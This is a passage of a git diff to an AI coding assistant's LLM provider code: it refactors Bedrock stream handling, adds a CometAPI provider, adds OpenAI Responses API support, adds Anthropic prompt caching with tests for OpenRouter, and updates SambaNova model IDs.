number[][]; } -/** - * Interface for tool use state tracking - */ -interface ToolUseState { - toolUseId: string; - name: string; - input: string; -} - /** * Interface for prompt caching metrics */ @@ -50,7 +47,6 @@ class Bedrock extends BaseLLM { profile: "bedrock", }; - private _currentToolResponse: Partial | null = null; private _promptCachingMetrics: PromptCachingMetrics = { cacheReadInputTokens: 0, cacheWriteInputTokens: 0, @@ -149,108 +145,99 @@ class Bedrock extends BaseLLM { console.log(`${JSON.stringify(chunk.metadata.usage)}`); } - if (chunk.contentBlockDelta?.delta) { - const delta: any = chunk.contentBlockDelta.delta; - + const contentBlockDelta: ContentBlockDelta | undefined = + chunk.contentBlockDelta?.delta; + if (contentBlockDelta) { // Handle text content - if (chunk.contentBlockDelta.delta.text) { + if (contentBlockDelta.text) { yield { role: "assistant", - content: chunk.contentBlockDelta.delta.text, + content: contentBlockDelta.text, }; continue; } - - // Handle text content - if ((chunk.contentBlockDelta.delta as any).reasoningContent?.text) { + if (contentBlockDelta.reasoningContent?.text) { yield { role: "thinking", - content: (chunk.contentBlockDelta.delta as any).reasoningContent - .text, + content: contentBlockDelta.reasoningContent.text, }; continue; } - - // Handle signature for thinking - if (delta.reasoningContent?.signature) { + if (contentBlockDelta.reasoningContent?.signature) { yield { role: "thinking", content: "", - signature: delta.reasoningContent.signature, + signature: contentBlockDelta.reasoningContent.signature, }; continue; } - - // Handle redacted thinking - if (delta.redactedReasoning?.data) { - yield { - role: "thinking", - content: "", - redactedThinking: delta.redactedReasoning.data, - }; - continue; - } - - if ( - chunk.contentBlockDelta.delta.toolUse?.input && - this._currentToolResponse - ) { - // Append the new input to the existing string - if (this._currentToolResponse.input === undefined) { - this._currentToolResponse.input = ""; - } - this._currentToolResponse.input += - chunk.contentBlockDelta.delta.toolUse.input; - continue; - } } - if (chunk.contentBlockStart?.start) { - const start: any = chunk.contentBlockStart.start; - if (start.redactedReasoning) { + const reasoningDelta: ReasoningContentBlockDelta | undefined = chunk + .contentBlockDelta?.delta as ReasoningContentBlockDelta; + if (reasoningDelta) { + if (reasoningDelta.redactedContent) { yield { role: "thinking", content: "", - redactedThinking: start.redactedReasoning.data, + redactedThinking: reasoningDelta.text, }; continue; } - - const toolUse = chunk.contentBlockStart.start.toolUse; - if (toolUse?.toolUseId && toolUse?.name) { - this._currentToolResponse = { - toolUseId: toolUse.toolUseId, - name: toolUse.name, - input: "", - }; - } - continue; } - if (chunk.contentBlockStop) { - if (this._currentToolResponse) { - yield { - role: "assistant", - content: "", - toolCalls: [ - { - id: this._currentToolResponse.toolUseId, - type: "function", - function: { - name: this._currentToolResponse.name, - arguments: this._currentToolResponse.input, - }, + const toolUseBlockDelta: ToolUseBlockDelta | undefined = chunk + .contentBlockDelta?.delta?.toolUse as ToolUseBlockDelta; + const toolUseBlock: ToolUseBlock | undefined = chunk.contentBlockDelta + ?.delta?.toolUse as ToolUseBlock; + if (toolUseBlockDelta && toolUseBlock) { + yield { + role: "assistant", + content: "", + toolCalls: [ + { + id: toolUseBlock.toolUseId, + type: "function", + function: { + name: toolUseBlock.name, + arguments: toolUseBlockDelta.input, }, - ], - }; - this._currentToolResponse = null; - } + }, + ], + }; continue; } + + const contentBlockStart: ContentBlockStartEvent | undefined = + chunk.contentBlockStart as ContentBlockStartEvent; + if (contentBlockStart) { + const start: ContentBlockStart | undefined = chunk.contentBlockStart + ?.start as ContentBlockStart; + if (start) { + const toolUseBlock: ToolUseBlock | undefined = + start.toolUse as ToolUseBlock; + if (toolUseBlock?.toolUseId && toolUseBlock?.name) { + yield { + role: "assistant", + content: "", + toolCalls: [ + { + id: toolUseBlock.toolUseId, + type: "function", + function: { + name: toolUseBlock.name, + arguments: "", + }, + }, + ], + }; + continue; + } + } + } } } catch (error: unknown) { // Clean up state and let the original error bubble up to the retry decorator - this._currentToolResponse = null; throw error; } } @@ -348,6 +335,9 @@ class Bedrock extends BaseLLM { budget_tokens: options.reasoningBudgetTokens, } : undefined, + anthropic_beta: options.model.includes("claude") + ? ["fine-grained-tool-streaming-2025-05-14"] + : undefined, }, }; } diff --git a/core/llm/llms/CometAPI.ts b/core/llm/llms/CometAPI.ts new file mode 100644 index 000000000..8d5f584e7 --- /dev/null +++ b/core/llm/llms/CometAPI.ts @@ -0,0 +1,358 @@ +import { LLMOptions } from "../../index.js"; +import { allModelProviders } from "@continuedev/llm-info"; +import OpenAI from "./OpenAI.js"; + +/** + * CometAPI-specific error types for better error handling + */ +export class CometAPIError extends Error { + constructor( + message: string, + public code?: string, + public statusCode?: number, + ) { + super(message); + this.name = "CometAPIError"; + } +} + +export class CometAPIAuthenticationError extends CometAPIError { + constructor(message: string = "Invalid CometAPI API key") { + super(message, "AUTHENTICATION_ERROR", 401); + this.name = "CometAPIAuthenticationError"; + } +} + +export class CometAPIQuotaExceededError extends CometAPIError { + constructor(message: string = "CometAPI quota exceeded") { + super(message, "QUOTA_EXCEEDED", 429); + this.name = "CometAPIQuotaExceededError"; + } +} + +/** + * CometAPI LLM provider - aggregates multiple mainstream models + * from various providers (GPT, Claude, Gemini, Grok, DeepSeek, Qwen, etc.) + * + * Uses OpenAI-compatible API format with bearer token authentication + */ +class CometAPI extends OpenAI { + static providerName = "cometapi"; + + static defaultOptions: Partial = { + apiBase: "https://api.cometapi.com/v1/", + model: "gpt-4o-mini", // Default to a commonly available model + }; + + constructor(options: LLMOptions) { + // Validate required configuration before calling super + CometAPI.validateConfig(options); + super(options); + + // Align contextLength with llm-info for cometapi specifically (non-breaking for others) + try { + const cometProvider = allModelProviders.find((p) => p.id === "cometapi"); + const info = cometProvider?.models.find((m) => + m.regex ? m.regex.test(this.model) : m.model === this.model, + ); + if (info?.contextLength) { + // Always prefer cometapi-specific llm-info over generic provider matches + // eslint-disable-next-line @typescript-eslint/ban-ts-comment + // @ts-ignore - accessing protected for targeted fix + this._contextLength = info.contextLength; + } + } catch { + // no-op: do not fail construction on metadata issues + } + } + + /** + * Validate CometAPI configuration + */ + private static validateConfig(options: LLMOptions): void { + // Allow constructing without API key (tests that only instantiate should pass). + // Enforce credentials at request time instead. + if (!options.apiKey) { + if (typeof process !== "undefined" && process.env?.NODE_ENV !== "test") { + console.warn( + "CometAPI: No API key provided. Requests will fail until an API key is configured. Get one at https://api.cometapi.com/console/token", + ); + } + return; + } + + if (options.apiBase && !CometAPI.isValidApiBase(options.apiBase)) { + throw new CometAPIError( + `Invalid CometAPI base URL: ${options.apiBase}. Expected https://api.cometapi.com/v1/ or compatible endpoint`, + ); + } + + if ( + options.model && + !CometAPI.isValidModelFormat(options.model) && + typeof process !== "undefined" && + process.env?.NODE_ENV !== "test" + ) { + console.warn( + `CometAPI: Model "${options.model}" may not be supported. Check CometAPI documentation for available models.`, + ); + } + } + + /** + * Validate API base URL format + */ + private static isValidApiBase(apiBase: string): boolean { + try { + const url = new URL(apiBase); + return ( + url.protocol === "https:" && + (url.hostname === "api.cometapi.com" || + url.hostname.endsWith(".cometapi.com") || + apiBase.includes("v1")) // Allow custom compatible endpoints + ); + } catch { + return false; + } + } + + /** + * Basic model format validation + */ + private static isValidModelFormat(model: string): boolean { + // Allow common model patterns + const validPatterns = [ + /^gpt-/i, + /^claude-/i, + /^gemini-/i, + /^grok/i, + /^deepseek/i, + /^qwen/i, + /^text-/i, + /^chat/i, + ]; + + return validPatterns.some((pattern) => pattern.test(model)); + } + + /** + * Patterns to filter out non-chat models from the model list + * Based on CometAPI documentation requirements + */ + private static IGNORE_PATTERNS = [ + // Image generation models + "dall-e", + "dalle", + "midjourney", + "mj_", + "stable-diffusion", + "sd-", + "flux-", + "playground-v", + "ideogram", + "recraft-", + "black-forest-labs", + "/recraft-v3", + "recraftv3", + "stability-ai/", + "sdxl", + + // Audio generation models + "suno_", + "tts", + "whisper", + + // Video generation models + "runway", + "luma_", + "luma-", + "veo", + "kling_", + "minimax_video", + "hunyuan-t1", + + // Utility models + "embedding", + "search-gpts", + "files_retrieve", + "moderation", + ]; + + /** + * Recommended chat models from CometAPI documentation + */ + private static RECOMMENDED_MODELS = [ + // GPT series + "gpt-5-chat-latest", + "chatgpt-4o-latest", + "gpt-5-mini", + "gpt-5-nano", + "gpt-5", + "gpt-4.1-mini", + "gpt-4.1-nano", + "gpt-4.1", + "gpt-4o-mini", + "o4-mini-2025-04-16", + "o3-pro-2025-06-10", + + // Claude series + "claude-opus-4-1-20250805", + "claude-opus-4-1-20250805-thinking", + "claude-sonnet-4-20250514", + "claude-sonnet-4-20250514-thinking", + "claude-3-7-sonnet-latest", + "claude-3-5-haiku-latest", + + // Gemini series + "gemini-2.5-pro", + "gemini-2.5-flash", + "gemini-2.5-flash-lite", + "gemini-2.0-flash", + + // Grok series + "grok-4-0709", + "grok-3", + "grok-3-mini", + "grok-2-image-1212", + + // DeepSeek series + "deepseek-v3.1", + "deepseek-v3", + "deepseek-r1-0528", + "deepseek-chat", + "deepseek-reasoner", + + // Qwen series + "qwen3-30b-a3b", + "qwen3-coder-plus-2025-07-22", + ]; + + /** + * Filter model list to exclude non-chat models + * Uses pattern matching against model names + */ + protected filterChatModels(models: any[]): any[] { + if (!models || !Array.isArray(models)) { + return []; + } + + return models.filter((model) => { + const modelId = model.id || model.model || ""; + const modelName = modelId.toLowerCase(); + + // Check if model matches any ignore pattern + const shouldIgnore = CometAPI.IGNORE_PATTERNS.some((pattern) => + modelName.includes(pattern.toLowerCase()), + ); + + return !shouldIgnore; + }); + } + + /** + * Get recommended models for CometAPI + * Returns predefined list since CometAPI model info is limited + */ + protected getRecommendedModels(): string[] { + return [...CometAPI.RECOMMENDED_MODELS]; + } + + /** + * Override listModels method to apply model filtering with enhanced error handling + */ + async listModels(): Promise { + try { + const allModels = await super.listModels(); + const filteredModels = this.filterChatModels( + allModels.map((id) => ({ id })), + ); + + // If filtered list is empty or very limited, return recommended models + if (filteredModels.length < 5) { + console.info( + "CometAPI: Limited models available, using recommended set", + ); + return this.getRecommendedModels(); + } + + return filteredModels.map((model) => model.id); + } catch (error: any) { + // Enhanced error handling with specific error types + const errorMessage = error?.message || "Unknown error"; + const statusCode = error?.status || error?.statusCode; + + if (statusCode === 401) { + throw new CometAPIAuthenticationError( + "CometAPI authentication failed. Please check your API key.", + ); + } else if (statusCode === 429) { + throw new CometAPIQuotaExceededError( + "CometAPI rate limit exceeded. Please try again later.", + ); + } else if (statusCode >= 400 && statusCode < 500) { + throw new CometAPIError( + `CometAPI client error: ${errorMessage}`, + "CLIENT_ERROR", + statusCode, + ); + } else if (statusCode >= 500) { + console.warn( + "CometAPI server error, falling back to recommended models:", + errorMessage, + ); + return this.getRecommendedModels(); + } else { + // Network or other errors - fallback gracefully + console.warn( + "CometAPI: Failed to fetch model list, using recommended models", + errorMessage, + ); + return this.getRecommendedModels(); + } + } + } + + /** + * Override chat completion with enhanced error handling + */ + protected async *_streamChat( + messages: any[], + signal: AbortSignal, + options: any = {}, + ): AsyncGenerator { + try { + yield* super._streamChat(messages, signal, options); + } catch (error: any) { + const statusCode = error?.status || error?.statusCode; + const errorMessage = error?.message || "Unknown error"; + + if (statusCode === 401) { + throw new CometAPIAuthenticationError( + "CometAPI authentication failed during chat completion", + ); + } else if (statusCode === 429) { + throw new CometAPIQuotaExceededError( + "CometAPI rate limit exceeded during chat completion", + ); + } else if ( + errorMessage.includes("model") && + errorMessage.includes("not found") + ) { + throw new CometAPIError( + `Model "${this.model}" is not available on CometAPI. Please check available models.`, + "MODEL_NOT_FOUND", + 404, + ); + } else { + // Re-throw with more context + throw new CometAPIError( + `CometAPI chat completion failed: ${errorMessage}`, + "COMPLETION_ERROR", + statusCode, + ); + } + } + } +} + +export default CometAPI; diff --git a/core/llm/llms/Deepseek.ts b/core/llm/llms/Deepseek.ts index 305d177e7..01d16ec3d 100644 --- a/core/llm/llms/Deepseek.ts +++ b/core/llm/llms/Deepseek.ts @@ -6,6 +6,8 @@ import OpenAI from "./OpenAI.js"; class Deepseek extends OpenAI { static providerName = "deepseek"; + protected supportsReasoningField = true; + protected supportsReasoningDetailsField = false; static defaultOptions: Partial = { apiBase: "https://api.deepseek.com/", model: "deepseek-coder", diff --git a/core/llm/llms/OpenAI-compatible-core.vitest.ts b/core/llm/llms/OpenAI-compatible-core.vitest.ts index 23d076d07..5d96d0990 100644 --- a/core/llm/llms/OpenAI-compatible-core.vitest.ts +++ b/core/llm/llms/OpenAI-compatible-core.vitest.ts @@ -13,6 +13,7 @@ import LMStudio from "./LMStudio.js"; import Cerebras from "./Cerebras.js"; import DeepInfra from "./DeepInfra.js"; import Nvidia from "./Nvidia.js"; +import CometAPI from "./CometAPI.js"; // Base OpenAI tests import { afterEach, describe, expect, test, vi } from "vitest"; @@ -292,3 +293,13 @@ createOpenAISubclassTests(Nvidia, { truncate: "END", }, }); + +createOpenAISubclassTests(CometAPI, { + providerName: "cometapi", + defaultApiBase: "https://api.cometapi.com/v1/", + modelConversions: { + "gpt-5-mini": "gpt-5-mini", + "claude-4-sonnet": "claude-sonnet-4-20250514", + }, + modelConversionContent: "hello", +}); diff --git a/core/llm/llms/OpenAI.ts b/core/llm/llms/OpenAI.ts index 83166b6a2..90512ecfb 100644 --- a/core/llm/llms/OpenAI.ts +++ b/core/llm/llms/OpenAI.ts @@ -14,9 +14,18 @@ import { renderChatMessage } from "../../util/messageContent.js"; import { BaseLLM } from "../index.js"; import { fromChatCompletionChunk, + fromResponsesChunk, LlmApiRequestType, toChatBody, + toResponsesInput, } from "../openaiTypeConverters.js"; +import { + ResponseInput, + ResponseInputItem, + ResponseInputMessageContentList, + ResponseCreateParamsBase, + Tool as ResponsesTool, +} from "openai/resources/responses/responses.mjs"; const NON_CHAT_MODELS = [ "text-davinci-002", @@ -49,6 +58,139 @@ const formatMessageForO1OrGpt5 = (messages: ChatCompletionMessageParam[]) => { }); }; +const formatMessageForO1OrGpt5ForResponses = ( + messages: ChatCompletionMessageParam[], +): ResponseInputItem[] => { + const input: ResponseInputItem[] = []; + + const pushMessage = ( + role: "user" | "assistant" | "system" | "developer", + content: string | ResponseInputMessageContentList, + ) => { + // o-series / gpt-5 use `developer` instead of `system` + const normalizedRole: "user" | "assistant" | "system" | "developer" = + role === "system" ? "developer" : role; + + input.push({ role: normalizedRole, content }); + }; + + for (const message of messages) { + switch (message.role) { + case "system": + case "developer": { + const content = message.content; + if (typeof content === "string") { + pushMessage("developer", content); + } else if (Array.isArray(content)) { + const parts: ResponseInputMessageContentList = content + .filter( + (p): p is { type: "text"; text: string } => p.type === "text", + ) + .map((p) => ({ type: "input_text" as const, text: p.text })); + pushMessage("developer", parts.length ? parts : ""); + } + break; + } + + case "user": { + const content = message.content; + if (typeof content === "string") { + pushMessage("user", content); + } else if (Array.isArray(content)) { + const parts: ResponseInputMessageContentList = []; + for (const part of content) { + if (part.type === "text") { + parts.push({ type: "input_text", text: part.text }); + } else if (part.type === "image_url") { + parts.push({ + type: "input_image", + image_url: part.image_url.url, + detail: part.image_url.detail ?? "auto", + }); + } else if (part.type === "file") { + parts.push({ + type: "input_file", + file_data: part.file.file_data, + file_id: part.file.file_id ?? undefined, + filename: part.file.filename, + }); + } + } + if (parts.length) { + pushMessage("user", parts); + } + } + break; + } + + case "assistant": { + const content = message.content; + if (typeof content === "string") { + if (content.length) pushMessage("assistant", content); + } else if (Array.isArray(content)) { + const text = content + .filter( + (p): p is { type: "text"; text: string } => p.type === "text", + ) + .map((p) => p.text) + .join(""); + if (text.length) pushMessage("assistant", text); + } + + if (Array.isArray(message.tool_calls)) { + for (const tc of message.tool_calls) { + if (tc.type === "function") { + input.push({ + type: "function_call", + name: tc.function.name, + arguments: tc.function.arguments, + call_id: tc.id, + }); + } else if (tc.type === "custom") { + input.push({ + type: "custom_tool_call", + name: tc.custom.name, + input: tc.custom.input, + call_id: tc.id, + }); + } + } + } + break; + } + + case "tool": { + const content = message.content; + const output = + typeof content === "string" + ? content + : content + .filter( + (p): p is { type: "text"; text: string } => p.type === "text", + ) + .map((p) => p.text) + .join(""); + input.push({ + type: "function_call_output", + call_id: message.tool_call_id, + output, + }); + break; + } + + case "function": { + // Deprecated in Chat Completions; no safe mapping into Responses input + break; + } + + default: + break; + } + } + + return input; +}; + class OpenAI extends BaseLLM { public useLegacyCompletionsEndpoint: boolean | undefined = undefined; @@ -134,7 +276,10 @@ class OpenAI extends BaseLLM { options: CompletionOptions, messages: ChatMessage[], ): ChatCompletionCreateParams { - const finalOptions = toChatBody(messages, options); + const finalOptions = toChatBody(messages, options, { + includeReasoningField: this.supportsReasoningField, + includeReasoningDetailsField: this.supportsReasoningDetailsField, + }); finalOptions.stop = options.stop?.slice(0, this.getMaxStopWords()); @@ -171,6 +316,60 @@ class OpenAI extends BaseLLM { return finalOptions; } + protected _convertArgsResponses( + options: CompletionOptions, + messages: ChatMessage[], + ): ResponseCreateParamsBase { + // Specialized conversion for Responses API (strongly typed body) + const model = options.model; + + const input = toResponsesInput(messages); + + const body: ResponseCreateParamsBase = { + model, + input, + temperature: options.temperature ?? null, + top_p: options.topP ?? null, + reasoning: { + effort: "medium", + summary: "auto", + }, + include: ["reasoning.encrypted_content"], + }; + + // Tools support for Responses API (schema differs from Chat Completions) + if (options.tools?.length) { + body.tools = options.tools + .filter((t) => !t.type || t.type === "function") + .map( + (t) => + ({ + type: "function", + name: t.function.name, + description: t.function.description ?? undefined, + parameters: t.function.parameters ?? undefined, + strict: t.function.strict ?? undefined, + }) as ResponsesTool, + ); + } + if (options.toolChoice) { + body.tool_choice = { + type: "function", + name: options.toolChoice.function.name, + } as ResponseCreateParamsBase["tool_choice"]; + } + + if (typeof options.maxTokens === "number") { + body.max_output_tokens = options.maxTokens; + } + + if (model === "o1") { + body.stream = false; + } + + return body; + } + protected _getHeaders() { return { "Content-Type": "application/json", @@ -197,7 +396,7 @@ class OpenAI extends BaseLLM { } protected _getEndpoint( - endpoint: "chat/completions" | "completions" | "models", + endpoint: "chat/completions" | "completions" | "models" | "responses", ) { if (!this.apiBase) { throw new Error( @@ -368,6 +567,91 @@ class OpenAI extends BaseLLM { } } + // Minimal draft: Responses API support for select models + protected async *_streamResponses( + messages: ChatMessage[], + signal: AbortSignal, + options: CompletionOptions, + ): AsyncGenerator { + if (!this.isOSeriesOrGpt5Model(options.model)) { + return; + } + + const body: any = this._convertArgsResponses(options, messages); + + // o1 does not support streaming + if (body.model === "o1") { + const res = await this._responses(messages, signal, options); + if (Array.isArray(res)) { + for (const m of res) { + if (m) yield m; + } + } else if (res) { + yield res; + } + return; + } + + const response = await this.fetch(this._getEndpoint("responses"), { + method: "POST", + headers: this._getHeaders(), + body: JSON.stringify({ + ...body, + stream: true, + ...this.extraBodyProperties(), + }), + signal, + }); + + for await (const evt of streamSse(response)) { + try { + const msg = fromResponsesChunk(evt); + if (Array.isArray(msg)) { + for (const m of msg) { + if (m) yield m; + } + } else if (msg) { + yield msg; + } + } catch { + // ignore malformed chunks + } + } + } + + protected async _responses( + messages: ChatMessage[], + signal: AbortSignal, + options: CompletionOptions, + ): Promise { + if (!this.isOSeriesOrGpt5Model(options.model)) { + // Minimal draft: only handle supported models for now + return { role: "assistant", content: "" }; + } + + const body: any = this._convertArgsResponses(options, messages); + + const response = await this.fetch(this._getEndpoint("responses"), { + method: "POST", + headers: this._getHeaders(), + body: JSON.stringify({ + ...body, + stream: false, + ...this.extraBodyProperties(), + }), + signal, + }); + + if ((response as any).status === 499) { + return { role: "assistant", content: "" }; + } + + const data: any = await response.json().catch(() => ({})); + const msg = fromResponsesChunk(data); + if (msg) return msg; + return { role: "assistant", content: "" }; + } + protected async *_streamFim( prefix: string, suffix: string, diff --git a/core/llm/llms/OpenRouter.ts b/core/llm/llms/OpenRouter.ts index b35aaa59c..4672a4658 100644 --- a/core/llm/llms/OpenRouter.ts +++ b/core/llm/llms/OpenRouter.ts @@ -1,3 +1,5 @@ +import { ChatCompletionCreateParams } from "openai/resources/index"; + import { LLMOptions } from "../../index.js"; import { osModelsEditPrompt } from "../templates/edit.js"; @@ -5,6 +7,8 @@ import OpenAI from "./OpenAI.js"; class OpenRouter extends OpenAI { static providerName = "openrouter"; + protected supportsReasoningField = true; + protected supportsReasoningDetailsField = true; static defaultOptions: Partial = { apiBase: "https://openrouter.ai/api/v1/", model: "gpt-4o-mini", @@ -13,6 +17,127 @@ class OpenRouter extends OpenAI { }, useLegacyCompletionsEndpoint: false, }; + + /** + * Detect if the model is an Anthropic/Claude model + */ + private isAnthropicModel(model?: string): boolean { + if (!model) return false; + const modelLower = model.toLowerCase(); + return modelLower.includes("claude"); + } + + /** + * Add cache_control to message content for Anthropic models + */ + private addCacheControlToContent(content: any, addCaching: boolean): any { + if (!addCaching) return content; + + if (typeof content === "string") { + return [ + { + type: "text", + text: content, + cache_control: { type: "ephemeral" }, + }, + ]; + } + + if (Array.isArray(content)) { + // For array content, add cache_control to the last text item + return content.map((part, idx) => { + if (part.type === "text" && idx === content.length - 1) { + return { + ...part, + cache_control: { type: "ephemeral" }, + }; + } + return part; + }); + } + + return content; + } + + /** + * Override modifyChatBody to add Anthropic caching when appropriate + */ + protected modifyChatBody( + body: ChatCompletionCreateParams, + ): ChatCompletionCreateParams { + // First apply parent modifications + body = super.modifyChatBody(body); + + // Check if we should apply Anthropic caching + if ( + !this.isAnthropicModel(body.model) || + (!this.cacheBehavior && !this.completionOptions.promptCaching) + ) { + return body; + } + + const shouldCacheConversation = + this.cacheBehavior?.cacheConversation || + this.completionOptions.promptCaching; + const shouldCacheSystemMessage = + this.cacheBehavior?.cacheSystemMessage || + this.completionOptions.promptCaching; + + if (!shouldCacheConversation && !shouldCacheSystemMessage) { + return body; + } + + // Follow the same logic as Anthropic.ts: filter out system messages first + const filteredMessages = body.messages.filter( + (m: any) => m.role !== "system" && !!m.content, + ); + + // Find the last two user message indices from the filtered array + const lastTwoUserMsgIndices = filteredMessages + .map((msg: any, index: number) => (msg.role === "user" ? index : -1)) + .filter((index: number) => index !== -1) + .slice(-2); + + // Create a mapping from filtered indices to original indices + let filteredIndex = 0; + const filteredToOriginalIndexMap: number[] = []; + body.messages.forEach((msg: any, originalIndex: number) => { + if (msg.role !== "system" && !!msg.content) { + filteredToOriginalIndexMap[filteredIndex] = originalIndex; + filteredIndex++; + } + }); + + // Modify messages to add cache_control + body.messages = body.messages.map((message: any, idx) => { + // Handle system message caching + if (message.role === "system" && shouldCacheSystemMessage) { + return { + ...message, + content: this.addCacheControlToContent(message.content, true), + }; + } + + // Handle conversation caching for last two user messages + // Check if this message's index (in filtered array) is one of the last two user messages + const filteredIdx = filteredToOriginalIndexMap.indexOf(idx); + if ( + message.role === "user" && + shouldCacheConversation && + filteredIdx !== -1 && + lastTwoUserMsgIndices.includes(filteredIdx) + ) { + return { + ...message, + content: this.addCacheControlToContent(message.content, true), + }; + } + + return message; + }); + + return body; + } } export default OpenRouter; diff --git a/core/llm/llms/OpenRouter.vitest.ts b/core/llm/llms/OpenRouter.vitest.ts new file mode 100644 index 000000000..e6e8afdd2 --- /dev/null +++ b/core/llm/llms/OpenRouter.vitest.ts @@ -0,0 +1,236 @@ +import { ChatCompletionCreateParams } from "openai/resources/index"; +import { describe, expect, it } from "vitest"; + +import OpenRouter from "./OpenRouter"; + +describe("OpenRouter Anthropic Caching", () => { + it("should detect Anthropic models correctly", () => { + const openRouter = new OpenRouter({ + model: "claude-3-5-sonnet-latest", + apiKey: "test-key", + }); + + // Test private method through modifyChatBody + const body: ChatCompletionCreateParams = { + model: "claude-3-5-sonnet-latest", + messages: [], + }; + + // Should not throw + openRouter["modifyChatBody"](body); + }); + + it("should add cache_control to user messages when caching is enabled", () => { + const openRouter = new OpenRouter({ + model: "anthropic/claude-3.5-sonnet", + apiKey: "test-key", + cacheBehavior: { + cacheConversation: true, + cacheSystemMessage: false, + }, + }); + + const body: ChatCompletionCreateParams = { + model: "anthropic/claude-3.5-sonnet", + messages: [ + { role: "user", content: "First message" }, + { role: "assistant", content: "Response" }, + { role: "user", content: "Second message" }, + { role: "assistant", content: "Another response" }, + { role: "user", content: "Third message" }, + ], + }; + + const modifiedBody = openRouter["modifyChatBody"](body); + + // Check that the last two user messages have cache_control + const userMessages = modifiedBody.messages.filter( + (msg: any) => msg.role === "user", + ); + + // First user message should not have cache_control + expect(userMessages[0].content).toBe("First message"); + + // Last two user messages should have cache_control + expect(userMessages[1].content).toEqual([ + { + type: "text", + text: "Second message", + cache_control: { type: "ephemeral" }, + }, + ]); + + expect(userMessages[2].content).toEqual([ + { + type: "text", + text: "Third message", + cache_control: { type: "ephemeral" }, + }, + ]); + }); + + it("should correctly handle cache_control with system messages present", () => { + const openRouter = new OpenRouter({ + model: "claude-3-5-sonnet-latest", + apiKey: "test-key", + cacheBehavior: { + cacheConversation: true, + cacheSystemMessage: true, + }, + }); + + const body: ChatCompletionCreateParams = { + model: "claude-3-5-sonnet-latest", + messages: [ + { role: "system", content: "You are a helpful assistant" }, + { role: "user", content: "First user message" }, + { role: "assistant", content: "First assistant response" }, + { role: "user", content: "Second user message" }, + { role: "assistant", content: "Second assistant response" }, + { role: "user", content: "Third user message" }, + ], + }; + + const modifiedBody = openRouter["modifyChatBody"](body); + + // System message should have cache_control + expect(modifiedBody.messages[0]).toEqual({ + role: "system", + content: [ + { + type: "text", + text: "You are a helpful assistant", + cache_control: { type: "ephemeral" }, + }, + ], + }); + + // Check user messages - should follow Anthropic filtering logic + const userMessages = modifiedBody.messages.filter( + (msg: any) => msg.role === "user", + ); + + // First user message should NOT have cache_control (only last 2) + expect(userMessages[0].content).toBe("First user message"); + + // Last two user messages should have cache_control + expect(userMessages[1].content).toEqual([ + { + type: "text", + text: "Second user message", + cache_control: { type: "ephemeral" }, + }, + ]); + + expect(userMessages[2].content).toEqual([ + { + type: "text", + text: "Third user message", + cache_control: { type: "ephemeral" }, + }, + ]); + + // Assistant messages should remain unchanged + expect(modifiedBody.messages[2].content).toBe("First assistant response"); + expect(modifiedBody.messages[4].content).toBe("Second assistant response"); + }); + + it("should add cache_control to system message when caching is enabled", () => { + const openRouter = new OpenRouter({ + model: "claude-3-5-sonnet-latest", + apiKey: "test-key", + cacheBehavior: { + cacheConversation: false, + cacheSystemMessage: true, + }, + }); + + const body: ChatCompletionCreateParams = { + model: "claude-3-5-sonnet-latest", + messages: [ + { role: "system", content: "You are a helpful assistant" }, + { role: "user", content: "Hello" }, + ], + }; + + const modifiedBody = openRouter["modifyChatBody"](body); + + // System message should have cache_control + expect(modifiedBody.messages[0]).toEqual({ + role: "system", + content: [ + { + type: "text", + text: "You are a helpful assistant", + cache_control: { type: "ephemeral" }, + }, + ], + }); + + // User message should remain unchanged + expect(modifiedBody.messages[1]).toEqual({ + role: "user", + content: "Hello", + }); + }); + + it("should handle array content correctly", () => { + const openRouter = new OpenRouter({ + model: "claude-3-5-sonnet-latest", + apiKey: "test-key", + cacheBehavior: { + cacheConversation: true, + cacheSystemMessage: false, + }, + }); + + const body: ChatCompletionCreateParams = { + model: "claude-3-5-sonnet-latest", + messages: [ + { + role: "user", + content: [ + { type: "text", text: "First part" }, + { type: "text", text: "Second part" }, + ], + }, + ], + }; + + const modifiedBody = openRouter["modifyChatBody"](body); + + // Only the last text part should have cache_control + expect(modifiedBody.messages[0].content).toEqual([ + { type: "text", text: "First part" }, + { + type: "text", + text: "Second part", + cache_control: { type: "ephemeral" }, + }, + ]); + }); + + it("should not modify messages for non-Anthropic models", () => { + const openRouter = new OpenRouter({ + model: "gpt-4o", + apiKey: "test-key", + cacheBehavior: { + cacheConversation: true, + cacheSystemMessage: true, + }, + }); + + const body: ChatCompletionCreateParams = { + model: "gpt-4o", + messages: [ + { role: "system", content: "System message" }, + { role: "user", content: "User message" }, + ], + }; + + const modifiedBody = openRouter["modifyChatBody"](body); + + // Messages should remain unchanged + expect(modifiedBody.messages).toEqual(body.messages); + }); +}); diff --git a/core/llm/llms/SambaNova.ts b/core/llm/llms/SambaNova.ts index db37c9276..d7c334122 100644 --- a/core/llm/llms/SambaNova.ts +++ b/core/llm/llms/SambaNova.ts @@ -9,17 +9,16 @@ class SambaNova extends OpenAI { }; private static MODEL_IDS: { [name: string]: string } = { - "llama4-scout": "Llama-4-Scout-17B-16E-Instruct", "llama4-maverick": "Llama-4-Maverick-17B-128E-Instruct", "llama3.3-70b": "Meta-Llama-3.3-70B-Instruct", + "llama3.3-swalllow-70b": "Llama-3.3-Swallow-70B-Instruct-v0.4", "llama3.1-8b": "Meta-Llama-3.1-8B-Instruct", - "llama3.1-405b": "Meta-Llama-3.1-405B-Instruct", - "llama3.2-1b": "Meta-Llama-3.2-1B-Instruct", - "llama3.2-3b": "Meta-Llama-3.2-3B-Instruct", - "qwq-32b": "QwQ-32B", "deepseek-r1-distill-llama-70b": "DeepSeek-R1-Distill-Llama-70B", "deepseek-r1": "DeepSeek-R1", "deepseek-v3": "DeepSeek-V3-0324", + "deepseek-v3.1": "DeepSeek-V3-0324", + "gpt-oss-120b": "gpt-oss-120b", + "qwen3-32b": "Qwen3-32B", }; protected _convertModelName(model: string) { diff --git a/core/llm/llms/VertexAI.ts b/core/llm/llms/VertexAI.ts index cb828bedb..258bccc3d 100644 --- a/core/llm/llms/VertexAI.ts +++ b/core/llm/llms/VertexAI.ts @@ -223,6 +223,10 @@ class VertexAI extends BaseLLM { const shouldCacheSystemMessage = !!( this.cacheBehavior?.cacheSystemMessage && systemMessage ); + const shouldCachePrompt = !!( + this.cacheBehavior?.cacheConversation ?? + this.completionOptions.promptCaching + ); // /v1/publishers/anthropic/models/claude-3-5-sonnet-20240620:streamRawPredict @@ -234,13 +238,16 @@ class VertexAI extends BaseLLM { const response = await this.fetch(apiURL, { method: "POST", headers: { - ...(shouldCacheSystemMessage || this.cacheBehavior?.cacheConversation + ...(shouldCacheSystemMessage || shouldCachePrompt 